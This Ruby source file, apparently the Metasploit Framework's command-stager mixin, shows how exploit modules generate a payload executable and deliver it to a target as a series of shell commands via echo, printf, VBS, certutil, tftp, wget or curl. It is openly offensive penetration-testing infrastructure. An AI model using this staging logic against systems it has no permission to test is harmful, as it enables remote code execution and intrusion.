# -*- coding: binary -*-

require 'rex/exploitation/cmdstager'
require 'msf/core/exploit/cmdstager/http'

module Msf

# This mixin provides an interface to generating cmdstagers
module Exploit::CmdStager

  include Msf::Exploit::EXE
  include Msf::Exploit::CmdStager::Http

  # Constant for stagers - used when creating an stager instance.
  STAGERS = {
    :bourne => Rex::Exploitation::CmdStagerBourne,
    :debug_asm => Rex::Exploitation::CmdStagerDebugAsm,
    :debug_write => Rex::Exploitation::CmdStagerDebugWrite,
    :echo => Rex::Exploitation::CmdStagerEcho,
    :printf => Rex::Exploitation::CmdStagerPrintf,
    :vbs => Rex::Exploitation::CmdStagerVBS,
    :vbs_adodb => Rex::Exploitation::CmdStagerVBS,
    :certutil => Rex::Exploitation::CmdStagerCertutil,
    :tftp => Rex::Exploitation::CmdStagerTFTP,
    :wget => Rex::Exploitation::CmdStagerWget,
    :curl => Rex::Exploitation::CmdStagerCurl
  }

  # Constant for decoders - used when checking the default flavor decoder.
  DECODERS = {
    :debug_asm => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "debug_asm"),
    :debug_write => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "debug_write"),
    :vbs => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64"),
    :vbs_adodb => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_adodb")
  }

  attr_accessor :stager_instance
  attr_accessor :cmd_list
  attr_accessor :flavor
  attr_accessor :decoder
  attr_accessor :exe

  # Creates an instance of an exploit that uses an CMD Stager and register the
  # datastore options provided by the mixin.
  #
  # @param info [Hash] Hash containing information to initialize the exploit.
  # @return [Msf::Module::Exploit] the exploit module.
  def initialize(info = {})
    super

    flavors = module_flavors
    flavors = STAGERS.keys if flavors.empty?
    flavors.unshift('auto')

    register_advanced_options(
      [
        OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]),
        OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.'])
      ], self.class)
  end


  # Executes the command stager while showing the progress. This method should
  # be called from exploits using this mixin.
  #
  # @param opts [Hash] Hash containing configuration options. Also allow to
  #   send opts to the Rex::Exploitation::CmdStagerBase constructor.
  # @option opts :flavor [Symbol] The CMD Stager to use.
  # @option opts :decoder [Symbol] The decoder stub to use.
  # @option opts :delay [Float] Delay between command executions.
  # @return [void]
  def execute_cmdstager(opts = {})
    self.cmd_list = generate_cmdstager(opts)

    stager_instance.setup(self)

    begin
      execute_cmdstager_begin(opts)

      sent = 0
      total_bytes = 0
      cmd_list.each { |cmd| total_bytes += cmd.length }

      delay = opts[:delay]
      delay ||= 0.25

      cmd_list.each do |cmd|
        execute_command(cmd, opts)
        sent += cmd.length

        # In cases where a server has multiple threads, we want to be sure that
        # commands we execute happen in the correct (serial) order.
        ::IO.select(nil, nil, nil, delay)

        progress(total_bytes, sent)
      end

      execute_cmdstager_end(opts)
    ensure
      stager_instance.teardown(self)
    end
  end


  # Generates a cmd stub based on the current target's architecture
  # and platform.
  #
  # @param opts [Hash] Hash containing configuration options. Also allow to
  #   send opts to the Rex::Exploitation::CmdStagerBase constructor.
  # @option opts :flavor [Symbol] The CMD Stager to use.
  # @option opts :decoder [Symbol] The decoder stub to use.
  # @param pl [String] String containing the payload to execute
  # @return [Array] The list of commands to execute
  # @raise [ArgumentError] raised if the exe or cmd stub cannot be generated
  def generate_cmdstager(opts = {}, pl = nil)
    select_cmdstager(opts)

    exe_opts = {code: pl}.merge(
      platform: target_platform,
      arch: target_arch
    )
    self.exe = generate_payload_exe(exe_opts)

    if exe.nil?
      raise ArgumentError, 'The executable could not be generated'
    end

    self.stager_instance = create_stager

    if stager_instance.respond_to?(:http?) && stager_instance.http?
      opts[:payload_uri] = start_service(opts)
    end

    cmd_list = stager_instance.generate(opts_with_decoder(opts))

    if cmd_list.nil? || cmd_list.length.zero?
      raise ArgumentError, 'The command stager could not be generated'
    end

    cmd_list
  end

  # Show the progress of the upload while cmd staging
  #
  # @param total [Float] The total number of bytes to send.
  # @param sent [Float] The number of bytes sent.
  # @return [void]
  def progress(total, sent)
    done = (sent.to_f / total.to_f) * 100
    percent = "%3.2f%%" % done.to_f
    print_status("Command Stager progress - %7s done (%d/%d bytes)" % [percent, sent, total])
  end

  # Selects the correct cmd stager and decoder stub to use
  #
  # @param opts [Hash] Hash containing the options to select the correct cmd
  #   stager and decoder.
  # @option opts :flavor [Symbol] The cmd stager to use.
  # @option opts :decoder [Symbol] The decoder stub to use.
  # @return [void]
  # @raise [ArgumentError] raised if a cmd stager cannot be selected or it
  #   isn't compatible with the target platform.
  def select_cmdstager(opts = {})
    self.flavor = select_flavor(opts)
    raise ArgumentError, "Unable to select CMD Stager" if flavor.nil?
    raise ArgumentError, "The CMD Stager '#{flavor}' isn't compatible with the target" unless compatible_flavor?(flavor)
    self.decoder = select_decoder(opts)
  end


  # Returns a hash with the :decoder option if possible
  #
  # @param opts [Hash] Input Hash.
  # @return [Hash] Hash with the input data and a :decoder option when
  #   possible.
  def opts_with_decoder(opts = {})
    return opts if opts.include?(:decoder)
    return opts.merge(:decoder => decoder) if decoder
    opts
  end


  # Create an instance of the flavored stager.
  #
  # @return [Rex::Exploitation::CmdStagerBase] The cmd stager to use.
  # @raise [NoMethodError] raised if the flavor doesn't exist.
  def create_stager
    STAGERS[flavor].new(exe)
  end

  # Returns the default decoder stub for the input flavor.
  #
  # @param f [Symbol] the input flavor.
  # @return [Symbol] the decoder.
  # @return [nil] if there isn't a default decoder to use for the current
  #   cmd stager flavor.
  def default_decoder(f)
    DECODERS[f]
  end

  # Selects the correct cmd stager decoder to use based on three rules: (1) use
  # the decoder provided in input options, (2) use the decoder provided by the
  # user through datastore options, (3) select the default decoder for the
  # current cmd stager flavor if available.
  #
  # @param opts [Hash] Hash containing the options to select the correct
  #   decoder.
  # @option opts :decoder [String] The decoder stub to use.
  # @return [String] The decoder.
  # @return [nil] if a decoder cannot be selected.
  def select_decoder(opts = {})
    return opts[:decoder] if opts.include?(:decoder)
    return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank?
    default_decoder(flavor)
  end

  # Selects the correct cmd stager to use based on three rules: (1) use the
  # flavor provided in options, (2) use the flavor provided by the user
  # through datastore options, (3) guess the flavor using the target platform.
  #
  # @param opts [Hash] Hash containing the options to select the correct cmd
  #   stager
  # @option opts :flavor [Symbol] The cmd stager flavor to use.
  # @return [Symbol] The flavor to use.
  # @return [nil] if a flavor cannot be selected.
  def select_flavor(opts = {})
    return opts[:flavor].to_sym if opts.include?(:flavor)
    unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto'
      return datastore['CMDSTAGER::FLAVOR'].to_sym
    end
    guess_flavor
  end

  # Guess the cmd stager flavor to use using information from the module,
  # target or platform.
  #
  # @return [Symbol] The cmd stager flavor to use.
  # @return [nil] if the cmd stager flavor cannot be guessed.
  def guess_flavor
    # First try to guess a compatible flavor based on the module & target information.
    unless target_flavor.nil?
      case target_flavor
      when Array
        return target_flavor[0].to_sym
      when String
        return target_flavor.to_sym
      when Symbol
        return target_flavor
      end
    end

    # Second try to guess a compatible flavor based on the target platform.
    return nil unless target_platform.names.length == 1
    c_platform = target_platform.names.first
    case c_platform
    when /linux/i
      :bourne
    when /osx/i
      :bourne
    when /unix/i
      :bourne
    when /win/i
      :vbs
    else
      nil
    end
  end

  # Returns all the compatible stager flavors specified by the module and each
  # of its targets.
  #
  # @return [Array] the list of all compatible cmd stager flavors.
  def module_flavors
    flavors = []
    flavors += Array(module_info['CmdStagerFlavor']) if module_info['CmdStagerFlavor']
    targets.each do |target|
      flavors += Array(target.opts['CmdStagerFlavor']) if target.opts['CmdStagerFlavor']
    end
    flavors.uniq!
    flavors.map { |flavor| flavor.to_s }
  end

  # Returns the compatible stager flavors for the current target or module.
  #
  # @return [Array] the list of compatible cmd stager flavors.
  # @return [Symbol] the compatible cmd stager flavor.
  # @return [String] the compatible cmd stager flavor.
  # @return [nil] if there isn't any compatible flavor defined.
  def target_flavor
    return target.opts['CmdStagerFlavor'] if target && target.opts['CmdStagerFlavor']
    return module_info['CmdStagerFlavor'] if module_info['CmdStagerFlavor']
    nil
  end

  # Answers if the input flavor is compatible with the current target or module.
  #
  # @param f [Symbol] The flavor to check
  # @return [Boolean] true if compatible, false otherwise.
  def compatible_flavor?(f)
    return true if target_flavor.nil?
    case target_flavor
    when String
      return true if target_flavor == f.to_s
    when Array
      target_flavor.each { |tr| return true if tr.to_sym == f }
    when Symbol
      return true if target_flavor == f
    end
    false
  end

  # Code to execute before the cmd stager stub. This method is designed to be
  # overriden by a module this mixin.
  #
  # @param opts [Hash] Hash of configuration options.
  def execute_cmdstager_begin(opts = {})
  end

  # Code to execute after the cmd stager stub. This method is designed to be
  # overriden by a module this mixin.
  #
  # @param opts [Hash] Hash of configuration options.
  def execute_cmdstager_end(opts = {})
  end

  # Code called to execute each command via an arbitrary module-defined vector.
  # This method needs to be overriden by modules using this mixin.
  #
  # @param cmd [String] The command to execute.
  # @param opts [Hash] Hash of configuration options.
  def execute_command(cmd, opts = {})
    raise NotImplementedError
  end

end
end
